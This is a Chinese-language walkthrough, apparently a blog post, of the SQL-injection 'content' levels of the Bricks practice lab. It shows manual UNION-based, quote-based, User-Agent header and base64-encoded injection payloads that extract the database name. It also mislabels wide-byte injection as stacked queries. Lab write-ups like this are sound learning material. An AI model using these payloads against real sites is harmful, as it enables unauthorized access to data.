本章的主题是content关卡,其内容是SQL注入,
先简单的科普一下什么是SQL注入:
SQL注入(数据库注入)是一种常见的网络安全漏洞,攻击者利用此漏洞向应用程序的数据库中插入恶意的SQL代码。通过注入这些恶意代码,攻击者可以绕过应用程序的身份验证和授权机制,执行未经授权的数据库操作,甚至获取敏感的数据。常见的SQL注入攻击方式包括通过输入框、URL参数、Cookie等方式将恶意的SQL代码注入到应用程序中。为了防范SQL注入攻击,开发人员应采取以下措施:使用参数化查询或预编译语句,限制用户的输入,对输入进行严格的检查和过滤,以及使用安全的数据库访问方法和权限控制。
类型:
- 整形注入(数字型注入) UNION query SQL injection
- 字符行注入 UNION query SQL injection
- 布尔型注入 Boolean-based blind SQL injection
- 延时注入 Time-based blind SQL injection
- 报错注入 Error-based SQL injection
- 宽字节注入 Stacked queries SQL injection
- 加密注入(base64、md5)等。
话不多说直接操作:
content#1
进入页面,发现用户(user name)名为tom的id为1,如下图:
使用语句:id=1 and 1=1 #正常 为真
id=1 and 1=2 #页面报错 为假
如下图 由此可以判断这是 整形注入
判断字符数,语句为:id=1 order by 1 #页面正常
从1试到9 ,发现 id=1 order by 9 #页面报错 如下图:
以上可判断为字符数为8位。
使用联合查询语句:id=-1 union select 1,2,3,4,5,6,7,8
得到具体显示位为:1,2,3,如下图:
假设,我要在显示位1 中查看数据库名,则在语句中,把1 改为查询函数
比如:database() #查询数据库名
user() #查询用户名
version() #查询数据库版本
@@version_compile_os #查询操作系统
其他语句函数请百度 。此处我以 在显示位1 中查询数据库名为例:
id=-1 union select database(),2,3,4,5,6,7,8 得到数据库名:bricks
其他查询数据库表,列,名,可自行百度或参考 https://docs.qq.com/doc/DTUZMY2Jnb3pFalZv 至此,content#1 结束
content#2
http://......content-2/index.php?user=tom
根据url得知,其将id=1改为了user=tom参数
判断:在参数后加单引号 ‘
http://......content-2/index.php?user=tom’ 页面报错,说明存在字符型注入
http://......content-2/index.php?user=tom’ and 1=1 --+ 页面正常
http://......content-2/index.php?user=tom’ and 1=2 --+ 页面报错,说明存在字符型注入
其他步骤与content#1 相同,再次不多阐述
http://......content-2/index.php?user=tom’ order by 1.....8 --+ 页面正常
http://......content-2/index.php?user=tom’ order by 9 --+ 页面错误 字符为8
http://......content-2/index.php?user=-tom’ union select 1,2,3,4,5,6,7,8 --+ 得到显示位1 2 3
http://......content-2/index.php?user=-tom’ union select database(),2,3,4,5,6,7,8 --+
得到数据库名:bricks
content#3
打开网页发现做了参数限制 如下图:
老样子,上burpsuite,挂代理抓取请求包 如下图:
在参数tom后写入注入语句
其余语句步骤与content#2相同,手工注入一条龙。我就在此跳过。 得到数据库名 :bricks
content#4
进来之后 懵懵的 报错:Error! User does not exists
显示的数据库语句是这样的:SQL Query: SELECT * FROM users WHERE ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
不过,根据这条语句发现在ua=后面的信息也类似于参数作用,不多说,上bp改一下看看有没有效果
将user-agent后面的语句改为参数admin (或者 123皆可)发现还是报错,但是显示的sql语句为:
SQL Query: SELECT * FROM users WHERE ua='admin',证明还是有些效果。
那假设盲猜一首用户名为admin,使用万能密码看看能否绕过 万能密码 ' or 1=1#
admin’ or 1=1#
欸嘿!这不就出来了。
browser verification 这题叫做浏览器验证。我也不知道算不算成功。
content#5
进来之后,发现url中id后的参数做了加密处理,由此可知,这属于加密类型注入 如下图:
根据密文与其他加密方式对比,可得知,该密文属于base64加密。只需将注入语句经过base64加密处理后注入就行。可以通过burpsuite或者其他的在线加密工具,做加密处理。
如下图:
将语句经过base64加密后,复制密文到id后面即可。得到数据库名:bricks
总结:语句千千万,手工注入占一半。
其他注入类型和语句可参考文档:https://docs.qq.com/doc/DTUZMY2Jnb3pFalZv